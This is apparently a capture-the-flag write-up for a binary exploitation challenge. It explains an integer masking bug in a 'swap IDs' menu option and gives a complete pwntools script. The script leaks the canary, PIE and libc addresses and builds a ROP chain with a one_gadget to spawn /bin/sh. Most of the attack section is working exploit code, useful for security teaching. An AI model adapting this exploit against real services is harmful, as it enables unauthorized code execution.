### DisclaimerI based my solution off of https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/xmasCTF/pwn_lilwishes/pwn_lilwishes_writeup.html
### Note: I used my own libc instead of the provided libc. It doesn't make too much of a difference. Just substitute the one gadget and some other gadgets
# Process
## Options MenuFirst, we have to get to the options menu:
```io = start()
io.recvuntil("Wishes database\n")```
## Menu NavigationI wrote helper scripts for menu navigation```def swap_ids(a, b):    io.sendlineafter("Option:", "1")    io.sendlineafter("Index 1", a)    io.sendlineafter("Index 2", b)
def print_db():    io.sendlineafter("Option:", "2")    resp = io.recvuntil("Choose:")    resp = resp.split(b'\n')    resp = resp[2:-2]    output = dict()    for i, r in enumerate(resp):        r = r.split(b" = ")        output[i] = r[-1]    return output
def add_id(i, d):    io.sendlineafter("Option:", "3")    io.sendlineafter("Index", i)    io.sendlineafter("Value:", d)```
## BugThe bug was that in the "swap IDs" function, the index was any integer but it would be calculated into an unsigned 2 byte (`0x0000` - `0xffff`) integer by doing `$input & 0xffff`. This means you can do an integer overflow.
For example, an input of `0xffff0009` as an integer is a valid index to swap with. Even though the binary wouldn't let you swap with index > 8, you can use `0xffff0009` which meets the >8 criteria _but_ evaluates to 9 in the end.
## Leak libcYou can leak libc base address by swapping IDs with something else in the stack. I wrote a helper function for this:
```def leak_index(i):    i = i + 0xffff0000    swap_ids("0", str(i))    leak = print_db()    leak = leak[0]    leak = int(leak)    swap_ids("0", str(i)) # Replace the index    return leak```
Leaking glibc would mean you do `leak_index(0xb)` which is the `libc_start_main` return address. 
Note: I leaked the PIE base and the canary for posterity. I didn't use them in the end, I don't think.
## ROP to `/bin/sh`
I found a one gadget for my libc and some useful gadgets:
```one_gadget = libc.address + 0xe6e79pop_rsi = libc.address + 0x0000000000027529 pop_rdx_r12 = libc.address + 0x000000000011c371pop_rbp = libc.address + 0x00000000000256c0```
Using the same swapping bug seen before, I can put these gadgets in the stack one-by-one as a ROP chain. I wrote a helper function for this:
```def setup_rc(rc_list):    rip_base = 0xffff000b    for gi, gadget in enumerate(rc_list):        add_id("1", str(gadget))        swap_ids("1", str(rip_base + gi))```
All you have to do now is type in "4" to exit so that the return RIP is hit.# Solution Script (`pwntools`)```#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    Full RELRO# Stack:    Canary found# NX:       NX enabled# PIE:      PIE enabled
io = start()
io.recvuntil("Wishes database\n")
def swap_ids(a, b):    io.sendlineafter("Option:", "1")    io.sendlineafter("Index 1", a)    io.sendlineafter("Index 2", b)
def print_db():    io.sendlineafter("Option:", "2")    resp = io.recvuntil("Choose:")    resp = resp.split(b'\n')    resp = resp[2:-2]    output = dict()    for i, r in enumerate(resp):        r = r.split(b" = ")        output[i] = r[-1]    return output
def add_id(i, d):    io.sendlineafter("Option:", "3")    io.sendlineafter("Index", i)    io.sendlineafter("Value:", d)
def leak_index(i):    i = i + 0xffff0000    swap_ids("0", str(i))    leak = print_db()    leak = leak[0]    leak = int(leak)    swap_ids("0", str(i)) # Replace the index    return leak
def setup_rc(rc_list):    rip_base = 0xffff000b    for gi, gadget in enumerate(rc_list):        add_id("1", str(gadget))        swap_ids("1", str(rip_base + gi))
# DEBUG - Just set up a markeradd_id("0", str(0xdeadbeefdeadbeef))
"""canaryrbprip (ret rip)"""# Leak canary by swapping beyond# Canary is at 0x9 but the instructions at offset 0x00100a5d allow you to integer overflowcanary_leak = leak_index(0x9)log.info("canary leak: {}".format(hex(canary_leak)))
pie_leak = leak_index(0x10)log.info("pie leak: {}".format(hex(pie_leak)))exe.address = pie_leak - 0xb50log.info("pie base: {}".format(hex(exe.address)))
libc_leak = leak_index(0xb)log.info("libc leak: {}".format(hex(libc_leak)))libc.address = libc_leak - 0x270b3log.info("libc base: {}".format(hex(libc.address)))
# Gadgets hereone_gadget = libc.address + 0xe6e79pop_rsi = libc.address + 0x0000000000027529 pop_rdx_r12 = libc.address + 0x000000000011c371pop_rbp = libc.address + 0x00000000000256c0setup_rc([pop_rsi, 0x0, pop_rdx_r12, 0x0, 0x0, pop_rbp, exe.bss(offset=0x100), one_gadget])
io.sendlineafter("Option:", "4")
io.interactive()```
